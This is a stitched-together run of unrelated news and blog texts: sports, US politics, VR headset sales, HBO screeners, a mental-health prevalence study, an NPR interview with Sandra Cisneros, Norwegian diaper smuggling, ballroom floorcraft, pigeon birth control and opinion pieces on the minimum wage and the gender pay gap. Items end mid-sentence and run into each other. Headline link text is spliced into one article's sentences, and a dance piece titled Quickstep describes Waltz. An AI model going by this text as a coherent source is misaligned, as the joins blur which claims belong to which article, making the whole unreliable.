return before Liverpool’s FA Cup third-round tie at Exeter on 8 January at the earliest. • Skrtel out for six weeks with hamstring strain • 'Liverpool join Everton in race to sign Mandanda'Former Republican Senate Majority Leader Bob Dole says Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE has got to “catch up” to Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE in the wake of her blistering attacks on him this week. ADVERTISEMENT “I think Hillary tried laying a groundwork, and I think that’s going to be sort of her template,” Dole told The New York Times on Friday. “He has criticism of Hillary, but it’s sort of been scattered.” Dole, the 1996 GOP presidential nominee, added that Trump “has got to catch up.” Clinton launched a series of major attacks on Trump during a foreign policy speech Thursday, calling him “temperamentally unfit” to be president. Dole served in the Senate from 1969 to 1996, leading the Republican caucus starting in 1985. He won the GOP's presidential nomination in 1996, losing in the general election to incumbent President Bill Clinton William (Bill) Jefferson ClintonInviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 Trump says he never told McCabe his wife was 'a loser' MORE.VR headsets are expensive, especially the $799 HTC Vive. It’s certainly not something just anyone can afford upfront, but HTC and retailer partners are now giving consumers more options. Last year we reported that UK games seller Game was offering a chance to get the Vive through monthly payments. Now other companies are taking that on board. In America, JD.com will sell the Vive with a 0% financing scheme with monthly payments of $138 (plus tax and shipping) over six months, or $66.58 over 12 months. A 7.99% plan for $40.13 a month over two years is also available. In China, meanwhile, three 0% financing schemes are on offer. One is for three months at ¥2,296 ($334.05), the next is for six months at ¥1,148 ($167.02), and the final is over a year at ¥574 ($83.51). This may be a key way of getting VR into people’s hands, though that money still doesn’t get them the expensive, high-end PC needed to actually use a Vive. It’s one of several varying business models the company is trying for its kit, the other including upcoming subscriptions for content services, and offering software to location-based arcades. Just how well any of these schemes stack up to more traditional business models remains to be seen. Updates on this story to come. Tagged with: GDC, htc viveHBO is trying super hard to dislodge Game of Thrones' crown as the "most pirated TV show" of modern times. It recently launched HBO Now, a non-cable-based streaming service, and today the company announced it would stop providing reviewers with DVDs containing episodes of its shows prior to their air dates. Instead, HBO will give reviewers early access to these episodes via a secure streaming service. The streaming policy starts this week with three new episodes of Veep, but it was spurred by a recent Thronesian leak: In April, four unaired Game of Thrones episodes found their way online, all of them reportedly linked to a review DVD. "Amazingly enough, it wasn't until just recently that a DVD was leaked online," HBO EVP of Corporate Communications Quentin Schaffer said in an email to reviewers.With the announcement of the Henry-Yewon and Song Jae Rim-Kim So Eun couples soon to be leaving MBC‘s We Got Married, the first cast member to replace them has been announced. On June 3rd, it was confirmed that BTOB‘s Yook Sungjae will be joining the cast as one of its new couples for its fourth season. The official said, “Yook Sungjae will join ‘We Got Married’ as a new couple starting this month. The first recording is ongoing today.” Unfortunately, the official has not confirmed who his partner is and his female partner is currently unknown. Sungjae has been very active this year in the entertainment industry with his singing skills as an idol singer getting recognized after his stint on King of Masked Singer. In addition, he is currently playing a very charming character in the KBS 2TV‘s Who Are You – School 2015 as Kong Tae Kwang. Known for his bright and cheerful personality, Sungjae will undoubtedly brighten up the popular couple show, which has been on air since 2008. [+1010, -29] Ah, it’ll bring down all the image he’s built [+746, -15] Noooo~~~~ [+662, -14] No ㅜㅜㅜㅜㅜㅜㅜㅜ [+635, -14] Ah, why ‘We Got Married’ ㅜㅠㅠㅠ No ㅠㅠㅠ [+613, -14] Why.. Why ‘We Got Married’ Source: Daily SportsDURHAM, N.C. -- The prevalence of anxiety, depression and substance dependency may be twice as high as the mental health community has been led to believe. It depends on how one goes about measuring. Duke University psychologists Terrie Moffitt and Avshalom Caspi and colleagues from the United Kingdom and New Zealand used a long-term tracking study of more than 1,000 New Zealanders from birth to age 32 to reach the conclusion that people vastly underreport the amount of mental illness they've suffered when asked to recall their history years after the fact. But such self-reporting from memory is the basis of much of what we know about the prevalence of anxiety, depression, alcohol dependence and marijuana dependence. Longitudinal studies like the Dunedin Study in New Zealand that track people over time are rare and expensive, Moffitt said. "If you start with a group of children and follow them their whole lives, sooner or later almost everybody will experience one of these disorders," said Moffitt, the Knut Schmitt-Nielsen professor of psychology and neuroscience at Duke. The Great Smoky Mountains Study, a similar effort based at Duke, has tracked 1,400 American children from age 9-13 into their late 20s and found similar patterns, said Jane Costello, a professor medical psychology at Duke who runs the study. "I think we've got to get used to the idea that mental illness is actually very common," Costello said. "People are growing up impaired, untreated and not functioning to their full capacity because we've ignored it." The prevalence of mental illness has been hotly debated by policy makers and mental health providers for many years. The pharmaceutical and health insurance industries also have a stake in the debate, Moffitt said. The best retrospective studies, the US National Comorbidity Surveys (NCS) and the New Zealand Mental Health Survey, have found the incidence of depression from ages 18 to 32 at a rate of about 18 percent. But they have been roundly criticized by some for their rates being too high. The latest analysis from the Dunedin Study found 41 percent of that age range had experienced clinically significant depression. Similarly, the survey studies have reported a 6 to 17 percent lifetime rate of alcohol dependence between ages 18-32, versus nearly 32 percent in the Dunedin Study. Guidelines published by the American Psychiatric Association that set the bar for defining what is and isn't a treatable illness are currently being revised by a rewriting of the authoritative Diagnostic and Statistical Manual of Mental Disorders (DSM). But given the findings of these longitudinal studies, the stringency of the diagnostic criteria might need to be reconsidered, said Moffitt, who is on the committee writing the new DSM-Vstandards. "Researchers might begin to ask why so many people experience a disorder at least once during their lifetimes and what this means for the way we define mental health, deliver services and count the economic burdens of mental illness," Moffitt said. On the one hand, it could be argued that the diagnostic standards have been set too low if so many people can be considered mentally ill. On the other hand, perhaps these findings argue for more and better mental health care because the disorders are more common than anyone had realized. "There are two opposing camps, and I'm agnostic about that," Moffitt said. At the very least, maybe these findings can help reduce the stigma against mental illness and mental health care, Moffitt added. New Zealand, for example, has begun a new campaign of public service announcements featuring sports heroes saying they've experienced mental health issues. "If we're serious about this problem, we need to get serious about preventing it," Costello added. "We do know a lot more about prevention now." ### Moffitt and Caspi's findings from the Dunedin Study appear online in the journal Psychological Medicine. Their work was supported by the New Zealand Health Research Council, the US National Institutes of Health and the UK Medical Research Council.BOSTON — Worcester Polytechnic Institute student Behnam Partopour, one of the international students denied entry into the United States under President Donald J. Trump’s executive order on immigration, was greeted with cheers Friday after he landed at Logan International Airport and made it through customs. “I feel relieved,” said Mr. Partopour, who was clad in a blue blazer, collared shirt and Chuck Taylors. “My sister, I’m with her now. I can finish my Ph.D. and I can see my friends again. All of this is amazing.” Mr. Partopour, a 27-year-old chemical engineering Ph.D. student from Iran, said he was sent by WPI to work on a research project in Germany last year and returned to Iran to renew his student visa. While there, he received his F1 student visa but before he could return to the United States, Trump’s executive order barred the entry of refugees and citizens of seven predominantly Muslim countries, including Iran, into the United States. “We were all very afraid,” said Mr. Partopour. “A lot of times I was hopeless.” Two federal judges in Boston earlier this week issued a seven-day stay preventing the detention and removal of permanent residents, visa holders, approved refugees, and travelers from the seven barred nations. But on Friday, U.S. District Court Judge Nathaniel M. Gorton ruled that he would not extend the restraining order when it expires Sunday. Meanwhile, immigration lawyer Heather Yountz said people were still being denied travel by airlines during the week, despite the seven-day stay. She said a glimmer of hope appeared Thursday when Lufthansa began to allow people from the seven barred countries to fly directly to Logan. “It was an amazing act by Lufthansa Airlines,” said Ms. Yountz, who has been on the phone advising her clients to fly to Boston on Lufthansa. “I’m fielding between 50 to 100 phone calls a day, telling them to get on Lufthansa, to fly into Boston, to get in before Sunday before the temporary restraining order is lifted.” Mr. Partopour was greeted by his sister, Bahar Partopour, and his friends Shirin Hojabri and Ehsan Keyvani. U.S. Rep. James P. McGovern and WPI President Laurie A. Leshin were also on hand to welcome him. “It was so exciting to watch him walk through those doors and to know that he had made it through,” said Ms. Leshin. “This was the end of quite a long journey.” Ms. Partopour had strong words about Trump’s immigration order. “This is horrible,” she said. “It’s taking families apart. It’s against human rights. One of the reasons we are here is because we didn’t have actual human rights in Iran, but now we don’t have it here.” Mr. McGovern echoed her sentiments. “We’re better than this,” he said.Wisdom From YA Authors on Leaving Home: Sandra Cisneros Sandra Cisneros is the author of "The House on Mango Street." For our series, "Next Chapter," she talks about how important it was for her as a Mexican-American woman to move into her first apartment. RACHEL MARTIN, HOST: Throughout August, we're bringing you stories and advice from authors who have written for young people about that pivotal moment when they leave home and set out on their own. It's a series we call Next Chapter. Today, we hear from Sandra Cisneros. She's the author of "The House On Mango Street" and "Carmelo." She came of age in Chicago in the early 1970s. SANDRA CISNEROS: The person I was was a very protected child-girl with lots of curly disco hair, no bra. My mother was always kind of checking on me when I left the house. And I had a little T-shirt that said merci. (SOUNDBITE OF SONG, "DISCO LADY") JOHNNIE TAYLOR: (Singing) Shake it up, shake it down. Move it in, move it 'round disco lady. CISNEROS: I was obliged to live at home as an undergraduate, unlike my brothers, because I was a girl. The struggle for a Mexican-American woman is one of you get married and that's the way you leave home or you get kicked out of home because you've done some sort of sexual transgression - you know, you've had a baby or you come out and say you're gay. But I used the winch of poetry. I said that I needed a place of my own to write, which was true. But I also wanted to have freedom to lead my life and to fall in love and to do things I couldn't do under my father's roof. (SOUNDBITE OF MFSB SONG, "THE SOUND OF PHILADELPHIA") CISNEROS: The hardest part was I didn't like living alone (laughter). I was afraid at night. There were sounds in the walls and sometimes a bug. And I doubted every day, did I really want to live like this? Is this how writers live? Here I was, cold in a flat that was cold with a heater only in the kitchen and writing by a small, clamp-on architect's lamp. And I would just tape things by other women artists like Mary Cassatt - I can live alone and I love to work. And I - that was my mantra for those years. I would just say, yeah, I can live alone and and I love to work. And then I would cry. (SOUNDBITE OF SONG, "GOLDEN YEARS") DAVID BOWIE: (Singing) Golden years, gold whop whop whop (ph). CISNEROS: I always tell the young men and women you have to control one, your money. If your money's coming from a source other than from your own earnings then that other person's going to tell you how to lead your life. So you have to control your own money so that you can control your destino, your own destiny. And for women - and men - control your fertility because that can throw you off your track from your brilliant career. Now I add a third one, now that I'm 61, and that is learn how to be alone. It's OK to be by yourself. You do not have to be a unit. You do not have to be a father or a mother. And sometimes it's impossible to be that as an artist 'cause you can hardly make enough money to take care of you. We become artists because we're lonely. Then we have to be alone to create the art. And then finally, at my stage of my life, I like being alone and prefer my own company. (SOUNDBITE OF WALTER MURPHY SONG, "A FIFTH OF BEETHOVEN") MARTIN: That's novelist Sandra Cisneros. We've been hearing the music that was playing on the radio when she left home - Johnnie Taylor, MFSB, David Bowie and Walter Murphy. Sandra Cisneros is part of our series Next Chapter. (SOUNDBITE OF WALTER MURPHY SONG, "A FIFTH OF BEETHOVEN") Copyright © 2016 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information. NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.“Our greatest glory is not in never falling, but in rising every time we fall.” – Confucius. Twelve months on from their heartbreaking loss to the Miami Heat in the 2013 NBA Finals, the San Antonio Spurs have risen to the top of the NBA ladder. A 104-87 victory in Texas on Sunday night gave Gregg Popovich’s side their fifth NBA Championship. It was a mesmerising performance from the Spurs, as they overturned a 22-6 Miami lead in the first quarter, seventeen of which were scored by LeBron James, to finally put the ghosts of 2013 to bed. Kawhi Leonard (22 & 10)excelled on a night where he wrote his name into NBA folklore, becoming the youngest player to win the Finals MVP since teammate Tim Duncan did it in 1999. Any hopes of a Heat comeback were extinguished once San Antonio found their feet and they went on to rout Erik Spoelstra’s side for the third game in a row. One has to feel sorry for LeBron James. His record against the Spurs in NBA Finals sits at 5-11, and his tally of 31 points and 10 rebounds was not enough to secure his third ring. The Spurs were incredible on offense, outscoring playoff opponents by a record 214 points this year. The Miami bench combined for just 24 points, while the Spurs reserves, with Patty Mills (17 points ) and Manu Ginobili (19 pts) leading the way, totalled an impressive 47 points. Nearly double the output of their opponents. It was an emotional night for the Spurs franchise, with Gregg Popovich telling his side it was the proudest victory of his career. The 2013/14 season will be remembered for many things; the Spurs’ dominance, LeBron James reaching new heights but his teammates ultimately falling short, Tim Duncan maturing like a fine wine. Above all, it will be remembered as the season when Kawhi Leonard emerged as a true superstar. Richard Barrett, Pundit Arena.on • Diapers are so cheap in “the world’s most expensive country” that there is systematic smuggling to Europe. Norwegian Customs has made several large seizures: These diapers were on their way to Lithuania. (Photo: Norwegian Customs) Cheap Norwegian diapers are smuggled to Europe. One diaper in Norway costs 8 cents while a similar diaper costs about 65 cents in Poland. According to Pricerunner, Norway has Europe’s lowest prices and you will only find cheaper diapers in Mumbai in India. The price war between the major supermarket chains to attract parents of small children has lasted since 2000, and the low prices mean that Norwegian stores are experiencing that people from other countries systematically empty the shelves. Several stores are now trying to impose a maximum limit and prioritize local customers. Must Be Declared It is not illegal to buy cheap diapers in Norway and bring them out of the country, but all values above 800 dollars (5000 Norwegian kroner) shall be declared at the customs. Norwegian diapers are very attractive in terms of both price and quality, and customs officials believe that much of the smuggling is organized. The probability that there are children using Norwegian diapers in neighboring countries like Sweden, Russia, the Baltic states and Poland are big – and Norwegian parents of small children indirectly contribute to fewer sore baby bottoms and sleepless nights. See also: Organized Smuggling of Chinese Garlic From Norway Text by: Thor Lanesskog, ThorNews Source: NRK Advertisements Share this: Tweet Like this: Like Loading... Categories: QuirkyCristina Romer, Berkeley economics professor and the former head of President Obama’s Council of Economic Advisers, passed judgment on the merits of raising the minimum wage in Saturday’s New York Times, and in the process made clear why she wasn’t a member of the president’s de facto council of political advisers. She argued, as some mainstream economists do, that the merits of a heightened minimum wage were slight—that it may, for instance, raise prices, offsetting the gain to low-wage workers. The better solution, she argues, is to raise the earned income tax credit (EITC)—the government’s payment to the working poor—and to support universal pre-K education. “Why settle for half-measures,” she concludes (by which she means raising the minimum wage), “when such truly first-rate policies [by which she means the EITC and pre-K schooling] are well understood and ready to go?” Ready to go? Congressional Republicans are rarin’ to increase government spending on the working poor and create a funded federal mandate for universal pre-k? To be sure, you could argue that Republicans will be equally resistant to raising the minimum wage. But that would present them with a political problem that declining to raise the EITC would not: The American people understand the minimum wage and virtually always support raising it. Unlike the EITC, it does not involve government spending, which garners far less public support. A Pew poll in February found 71 percent of Americans, and 50 percent of Republicans, support the president’s proposal to raise the federal minimum from its current $7.25 to $9 an hour. The issue is so potent that House Democratic Leader Nancy Pelosi has vowed to make House Republicans’ opposition to raising the wage a major campaign issue in 2014. And if, indeed, the Democrats do retake the House in 2014, it’s likely that they’ll vote to raise the minimum wage—and just maybe increase the EITC as well, inasmuch as wages are stagnating or declining not just for the most underpaid workers but for the vast majority of American workers. Raising the minimum wage, and raising the issue of raising the minimum wage, precedes raising the EITC, as Romer fails to realize. What’s disquieting about Romer’s piece, however, isn’t the political obtuseness it displays. It’s the economic obtuseness to the plight of the American people. Universal pre-K is an excellent idea, with positive economic implications that kick in 20 or 30 years after the pre-schoolers have been pre-schooled, but to suggest it as a substitute for the glaring underpayment of American workers today is to take the kind of long view of things that Keynes neatly dispatched with his observation, “in the long run, we are all dead.” Wages today constitute the lowest share of corporate revenues and of GDP that they have since World War II, while profits as a share of both corporate income and GDP haven’t been this high in many decades. The United States also has the highest share of low-wage workers of any nation with an advanced economy, and those workers don’t all work in mom-and-pop bodegas. Millions of them work for Wal-Mart, Target, Home Depot, and other mass-market retailers—companies that already receive indirect governmental subsidies when their workers are compelled to rely on Medicaid for their health care. To raise the EITC only, and not raise the minimum wage, is to give these corporate giants a second public subsidy. By emphasizing pre-K as her one long-term solution, Romer echoes the establishment mantra that American workers have deficient skills. Many of them may, but then, as Heidi Shierholz of the Economic Policy Institute argues, if deficient skill levels are really behind the stagnation of wages, you’d expect to see those Americans whose skills are in demand see their wages rise—and that isn’t happening, either. What American workers really lack is power. With the virtual disappearance of unions from the private sector economy, workers can’t collectively bargain for wages any more. Since Romer isn’t averse to multi-year solutions to the problem of undercompensated work, she should champion not just universal pre-K but also legislation enabling workers to join unions without fear of being fired. The rising inequality in workplace power that has resulted from the eclipse of unions is a chief culprit in the rising inequality in the broader economy. To dismiss the importance of raising the minimum wage is to sidestep the imbalance of workplace power and to minimize the role the state can play in setting standards for employer conduct. Our private sector economy has become grossly unfair. That’s why the government should raise the minimum wage.While the debate about whether virtual reality is just some oversold hype rages on, the nascent industry can at least boast of having crossed an important milestone. According to a report from Canalys today, one million virtual reality headsets shipped in the three months ending September 30. This was the first time the gadgets had topped this mark in a single quarter. What’s generating that momentum? Price cuts, says Canalys. “VR adoption in the consumer segment is highly dependent on price, and Oculus’ strategy of lowering prices has definitely helped drive adoption,” said Canalys research analyst Vincent Thielke, in a statement. During the third quarter, Sony was the market share leader, with shipments of 490,000 PlayStation VR (PS VR) sets. Facebook’s Oculus was number two with 210,000 Rift headsets shipped. HTC came in third, with 160,000 Vive VR headsets. Those three companies are dominating, accounting for 86 percent of the VR headset market share in Q3. Thielke pointed to the Rift’s discounted price of $399 over the summer as having helped move headsets. That success inspired Oculus to permanently drop the price to that level this month. Meanwhile, strong consumer adoption of VR in Japan is giving Sony a boost. “Sony is well-placed to take advantage of this increasing interest in VR,” said Canalys analyst Jason Low in a statement. “Sony has dominated the Japanese VR headset market since the release of the PS VR, taking more than an 80 percent share, and will continue to lead as it increases supply of the PS VR headset with bundles featuring new titles from popular franchises, including Doom, Skyrim, and Gran Turismo.” Canalys projects that next year the VR headset market will gain more fuel from PC vendors who will roll out new headsets supporting Microsoft’s Windows Mixed Reality platform.Syllabus Quickstep Dodgers 5 July 2017 Floorcraft is one of the most important skills to possess. If you find yourself on the competition floor and somebody is blocking you from continuing your routine, having a plan of how to adjust will keep you looking smooth and graceful. On the other hand, if you get flustered, freeze up, or get into a collision, the judges will all look somewhere else, and you may lose your spot in the next round. In a previous BGBB article, we talked about some basic figures in each dance that could be used to avoid collisions (called dodgers), but today we are going to go in depth into Waltz and give you Syllabus-legal dodgers for every situation you could find yourself in. Also, check out Syllabus Waltz Dodgers, Syllabus Tango Dodgers and Syllabus Foxtrot Dodgers. What are Dodgers When an obstacle on the floor interrupts your routine, the best course of action is to curve your routine to avoid it, without changing the routine itself, however, sometimes that is impossible. In this situation, the routine must change to avoid colliding with the obstacle. A dodger is a single figure or short combination of figures that you can use at a point in your routine to avoid collision, which then returns you to that same point in your routine. Dodgers should be practiced so that when the Man uses one all of a sudden, the Lady is familiar enough with the pattern that she can follow it without hesitation. You should have a dodger for each of the following situations, which are the most common: Natural Figures Moving Forward 1) Forward on the RF, facing DW 2) Forward on the RF, facing DC Reverse Figures Moving Forward 3) Forward on the LF, facing DW 4) Forward on the LF, facing DC Natural Figures Moving Back 5) Back on the LF, backing LOD 6) Back on the LF, backing LOD, Lady OP Reverse Figures Moving Back 7) Back on the RF, backing LOD Below you will find multiple options of what to do next for each of the 7 situations listed. Choose only one and practice it, so you can fall back on it without thinking when the time comes. Ballroom Guide's Choice: Top 3 Waltz Dodgers You may will notice many of the same figures being used over and over. These figures are invaluable for floorcraft, due to their versatility, and being comfortable with them will allow you to get out of any situation. In particular, become familiar with the Fishtail, the Change of Direction, and the Closed Impetus. 1. Forward on the RF, facing DW You have just danced a Progressive Chasse, and you would like to dance a Forward Lock, but there is an obstacle in your way. Option 1 (Bronze): Dance a Quarter Turn to the Right, followed by a Progressive Chasse to continue with your routine Option 2 (Silver): Dance a Fishtail, then continue with your routine Option 3 (Gold): Step RF forward OP, then LF back with Lady Outside (counted S S) into Four Quick Run or Six Quick Run to continue with your routine 2. Forward on the RF, facing DC You have just danced a Running Finish moving toward DC, and you would like to dance a Forward Lock, but there is an obstacle in your way. Option 1 (Silver): Dance a Fishtail, then continue with your routine 3. Forward on the LF, facing DW This is an interesting scenario. Let's say you have just danced a Double Reverse Spin ended facing DW. In this case, the only figures you may follow this with are themselves good dodgers, such as the Change of Direction (Bronze), the Cross Chasse (Bronze), and the Cross Swivel (Gold). If it is too congested even to dance any of these figures, the best course of action is just to wait. 4. Forward on the LF, facing DC You have just danced Double Reverse Spin, and you would like to dance a Closed Telemark, but there is an obstacle in your way. Option 1 (Bronze): Underturn the Double Reverse Spin to end facing DW, followed by a Change of Direction, the final step of the Change of Direction becoming the first step of the Closed Telemark Option 2 (Gold): Underturn the Double Reverse Spin to end facing DW, followed by a Cross Swivel, then step RF OP to continue with your routine 5. Back on the LF, backing LOD You have just danced 1-3 of a Natural Turn, and you would like to dance a Tipple Chasse, but there is an obstacle in your way. Option 1 (Bronze): Dance a Closed Impetus, followed by a Progressive Chasse in place of the Tipple Chasse Option 2 (Silver): Underturn the Natural Turn to end backing DC, then dance a V6 in place of the Tipple Chasse Option 3 (Gold): Dance a Closed Impetus, followed by Four Quick Run or Six Quick Run in place of the Tipple Chasse 6. Back on the LF, backing LOD, Lady OP You have just danced a Progressive Chasse to the Right, and you would like to continue with a Back Lock, but there is an obstacle in your way. Option 1 (Bronze): Dance a Tipple Chasse, taking very small steps and maneuvering around the obstacle, then continue with a new figure Option 2 (Bronze): Dance a Closed Impetus, step 1 Lady Outside, then continue with a new figure 7. Back on the RF, backing LOD You have just danced a Quick Open Reverse, and you would like to dance a Progressive Chasse, but there is an obstacle in your way. Option 1 (PreBronze): Dance a Heel Pivot (Quarter Turn to L) in place of the Progressive Chasse Option 2 (Bronze): Dance a Reverse Pivot, followed by a Cross Chasse in place of the Progressive Chasse Option 3 (Gold): Dance a Hover Corte, followed by a Tipple Chasse without turn in place of the Progressive Chasse Option 4 (Gold): Dance a Hover Corte, followed by a Running Finish without turn in place of the Progressive ChasseThe Catalan town of Badia del Vallès announced the plan via a statement on the town hall website. "Every morning, three automatic dispensers will scatter the required dosage to the pigeon population," said the statement. Each pigeon will be fed 10 grams of Ovistop, a product made of corn seeds covered in Nicarbazin, which acts as a contraceptive for the birds. The first dispenser was installed on Monday July 13th near the town's Civil Guard headquarters, while the other two will be installed on school roofs next week. The pigeons will be put on the birth control pill from July until December, the high season for pigeon breeding. The pill is touted as being highly effective by town hall sources, who project that 80 percent of Badia's pigeon population will have been eliminated within four to five years. One pair of birds can produce 48 pigeons a year, which has led to an overpopulation of the species in the Catalan town.Thanks to a recent posting over on the Twidroid website, we are being treated to an early look as to what we can expect from Twidroid 3.0. First things first though, according to
a Man Is Paid for the Same Work September 5, 2014 The Progressive Paradigm says that women are paid only 77% of what men are paid for the same work. It’s remarkable that this narrative is so widely repeated and so durable, because it is easily shown to be wrong. Here’s what Mr. Ploof says: According to the National Committee on Pay Equity, in 2012, womens’ pay was 77 percent of a man’s pay despite the data showing more women are graduating from college than men and are earning higher grades. (1) Give Mr. Ploof some credit: As he has phrased it, the question he raises already contains the germ of the answer. He is aware at some level that if we want to know whether employers are discriminating on the basis of sex, we must compare not simply what all men and women earn on average, but must compare men and women all other things being equal. So he contemplates controlling for education. He observes that more women graduate from college than men and are earning higher grades. That’s a great start, but what about all the other variables we would have to control for? Pew recently observed that if we consider all workers (rather than only full-time workers), the apparent “pay gap” is already cut by a third: According to the White House, full-time working women earn 77% of what their male counterparts earn.... However, our own estimate, which is based on hourly earnings of both full- and part-time workers, finds women earn 84 percent of what men earn. Where does the remaining gap come from? Pew contemplates further: Why is this? In our survey, women were more likely to say they had taken career interruptions to care for their family. And research has shown that these types of interruptions can have an impact on long-term earnings. Roughly four-in-ten mothers say they have taken a significant amount of time off from work (39%) or reduced their work hours (42%) to care for a child or other family member. Roughly a quarter (27%) say they have quit work altogether to take care of these familial responsibilities. (Fewer men say the same. For example, just 24% of fathers say they have taken a significant amount of time off to care for a child or other family member.) Even though women have increased their presence in higher-paying jobs traditionally dominated by men, such as professional and managerial positions, women as a whole continue to work in lower-paying occupations than men do. Don’t think Pew is arguing for my side here—Pew concludes that part of the remaining gap may be due to discrimination. The problem is that every time we control for more variables, the “gap” changes; some of it is explained by things other than discrimination. It would be arbitrary to stop controlling for variables at some point and assume that the remaining gap is due to discrimination. It would probably also be impossible to control for all the relevant variables. When we talk about a “pay gap”, we are claiming to know something that is not known and is probably unknowable. Thomas Sowell addressed this brilliantly in his book The Vision of the Anointed. I hope no one will mind my quoting it at some length, because no one says it better than he does, and it needs to be said. From the chapter “By the Numbers”: THE RESIDUAL FALLACY A common procedure in trying to prove discrimination with statistics is to (1) establish that there are statistical disparities between two or more groups, (2) demonstrate that the odds that these particular disparities are a result of random chance are very small, and (3) show that, even holding constant various nondiscriminatory factors which might influence the outcomes, that still leaves a substantial residual difference between the groups, which must be presumed to be due to discrimination. Since essentially the same intellectual procedure has been used to “prove” genetic inferiority, the choice of what to attribute the residual to is inherently arbitrary. But there is yet another major objection to this procedure. Not uncommonly, as the gross statistics are broken down by holding various characteristics constant, it turns out that the groups involved differ in these characteristics on every level of aggregation—and differ in different proportions from one level to another. The residual fallacy is one of the grand non sequiturs of our time, as common in the highest courts of the land as on the political platform or in the media or academe. At the heart of the fallacy is the notion that you really can hold variables constant—“controlling” the variables, as statisticians say—in practice as well as in theory. “Controlling” for Education A commonly made claim is that discrimination is so pervasive and so severe that even people with the same educational qualifications are paid very differently according to whether they are male or female, black or white, etc. Holding years of education constant is often illusory, however, since groups with different quanities of education often have qualitative differences in their education as well. Thus, when group A has significantly more years of education than group B, very often group A also has a higher quality of education, whether quality is measured by their own academic performance at a given educational level, by the qualitative rankings of the institutions attended, or by the difficulty and remuneration of the fields of study in which the group is concentrated. At the college or university level, for example, group A may be more heavily concentrated in mathematics, science, medicine, or engineering, while group B is concentrated in sociology, education, or various ethnic studies. In this context, claims that members of group B are paid less than members of group A with the “same” education (measured quantitatively) are clearly fallacious. Qualitative differences in education between groups have been common around the world, whether comparing Asian Americans with Hispanic Americans in the United States, Ashkenazic Jews with Sephardic Jews in Israel, Tamils with Sinhalese in Sri Lanka, Chinese with Malays in Malaysia, or Protestants with Catholics in Northern Ireland. Male-female differences in income are often likewise said to prove discrimination because men and women with the “same” education receive different pay. Suppose, for example, that we try to hold education constant by examining income statistics just for those women and men who have graduated from college. There is still a sex difference in income at this level of aggregation, and if we are content to stop here—the choice of stopping point being inherently arbitrary—then we may choose to call the residual differences in income evidence of sex discrimination. However, if we recognize that college graduates include people who go on to postgraduate study, and that postgraduate education also influences income, we may wish to go on to the next level of aggregation and compare women and men who did postgraduate study. Now we will find that the proportion of women and men with postgraduate degrees differs from the proportions with college degrees—women slightly outnumbering men at the bachelor’s degree level, but being outnumbered by men by more than two-to-one at the master’s degree level, and by 59 percent at the Ph.D. level. Clearly, when we compare college-educated women and men, which includes those who went on to postgraduate work, we are still comparing apples and oranges because their total education is not the same. Suppose, then, that we press on to the next level of aggregation in search of comparability, and look only at women and men who went all the way to the Ph.D. Once more, we will discover not only disparities but changing ratios of disparities. Although women receive 37 percent of all Ph.D.s, the fields in which they receive them differ radically from the fields in which men receive their Ph.D.s—with the men being more heavily concentrated in the more mathematical, scientific, and remunerative fields. While women receive nearly half the Ph.D.s in the social sciences and more than half in education, men receive more than 80 percent of the Ph.D.s in the natural sciences and more than 90 percent of the Ph.D.s in engineering. We are still comparing apples and oranges. Some specialized studies have permitted even finer breakdowns, but sex disparities in education continue in these finer breakdowns as well. For example, if we examine only those women and men who received Ph.D.s in the social sciences, it turns out that the women were more likely to be in sociology and the men in economics—the latter being the more remunerative field. Moreover, even within economics, there have been very large male-female differences as to what proportion of the economics Ph.D.s were specifically in econometrics—a difference in a proportion of ten men to one woman. In short, we have still not held constant the education we set out to hold constant and which we could have said that we had held constant by simply stopping the disaggregation at any point along the way. While the disaggregation process must stop at some point, whether because the statistics are not broken down any further or because time is not limitless, the fatal fallacy is to assume that all factors left unexamined must be equal, so that all remaining differences in outcome can be attributed to discrimination. In other words, having found causal disparities at every level of aggregation—and often changing ratios of such disparities, as well—it is arbitrarily assumed that the causal disparities end where our disaggregation ends, so that all remaining differences in regard must be due to discrimination. Innumerable historical and cultural differences, found among many groups in countries around the world—as the numbered examples listed above [buy the book] suggest—make statistical disparities fall far short of proof of discrimination. Such data may be accepted as evidence or proof in courts of law but, logically speaking, such data prove nothing. They are “Aha!” statistics. (End notes with sources omitted. Emphasis in original. List of interesting examples of group disparities from world history omitted.) Anyway as commenter Jack Curtis points out, what’s the alternative? that women are just as good workers as men, and men cost about a third more, and employers aren’t hiring women in droves? The same labor but 23% cheaper—that’s quite a bargain, and if there’s one thing businesses love, it’s cutting costs. (OK, maybe if there’s one thing businesses love, it’s making money, but if there are two things businesses love, they’re making money and cutting costs.) Under these circumstances, why would employers be hiring any men? (2) The public-policy history perhaps similarly proves too much. In the 2012 presidential debates, President Obama in effect wanted to take credit for making it against the law for employers to discriminate on the basis of sex. Again, give Mr. Ploof some credit: He notes that it has already been against the law nationwide since 1963; the 2009 Lilly Ledbetter Act makes comparatively minor adjustments, such as lengthening the statute of limitations on discrimination lawsuits. Now Mr. Ploof, Democrats in the Senate, and President Obama want a third law, the Paycheck Fairness Act. Well, which is it? Can President Obama claim victory for the Lilly Ledbetter Act, or are knuckle-dragging employers still paying men a third more than women, doggedly still swimming fiercely upstream against the law, the culture, and their own economic interests? The Democrats can’t just keep raising the issue as a punching bag and declaring victory over it every couple of years. (3) There’s also the inconvenient fact that if we judge them by the same (clearly wrong, bad epistemology) standards, the Democrats who call for these laws are themselves “discriminating against women” the same as everyone else, which again suggests that the issue is a useful political punching bag for them rather than a real issue that needs to be addressed. Or, as even the liberal Washington Post put it just a couple of months ago, “Male-female pay gap remains entrenched at White House”: The average male White House employee currently earns about $88,600, while the average female White House employee earns about $78,400, according to White House data released Tuesday. That is a gap of 13 percent. In 2009, male employees made an average of about $82,000, compared to an average of $72,700 earned by female employees — also a 13 percent wage gap. Wait, the Obama administration says, we can explain! White House officials say that even if the aggregate statistics show a gap, men and women in the same roles at the White House are paid similar amounts. 